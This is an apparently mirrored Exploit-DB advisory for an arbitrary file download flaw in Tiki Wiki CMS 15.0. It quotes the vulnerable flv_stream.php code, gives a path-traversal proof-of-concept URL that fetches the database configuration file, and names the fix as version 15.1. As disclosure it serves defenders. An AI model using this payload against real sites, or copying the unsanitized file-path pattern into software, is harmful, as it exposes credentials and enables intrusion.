Tiki Wiki CMS 15.0 – Arbitrary File Download - 体验盒子

作者： Kacper Szurek

日期： 2016-07-11

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/40080/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

# Exploit Title: Tiki Wiki CMS 15.0 Arbitrary File Download

# Date: 11-07-2016

# Software Link: https://tiki.org

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: webapps

1. Description

Using <code>flv_stream.php</code> file from <code>vendor</code> directory we can download any file.

http://security.szurek.pl/tiki-wiki-cms-150-arbitrary-file-download.html

File: tiki-15.0\vendor\player\flv\flv_stream.php

<?php

session_cache_limiter('nocache');

header('Expires: Thu, 19 Nov 1981 08:52:00 GMT');

header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');

header('Pragma: no-cache');

$position = $_GET['position'];

$filename = dirname(__FILE__).'/'.htmlspecialchars($_GET['file']);

if (file_exists($filename)) {

header('Content-Type: video/x-flv');

if ($position != 0) {

echo 'FLV', pack('CCNN', 1, 1, 9, 9);

}

$file = fopen($filename, "rb");

fseek($file, $position);

while (!feof($file)) {

echo fread($file, 16384);

}

fclose($file);

} else {

echo 'The file does not exist';

}

?>

2. Proof of Concept

Example for downloading database configuration:

http://tiki/vendor/player/flv/flv_stream.php?file=../../../db/local.php&position=0

3. Solution:

Update to version 15.1

Timeline:

01-06-2016: Discovered

01-06-2016: Vendor notified

08-06-2016: Version 15.1 released, issue resolved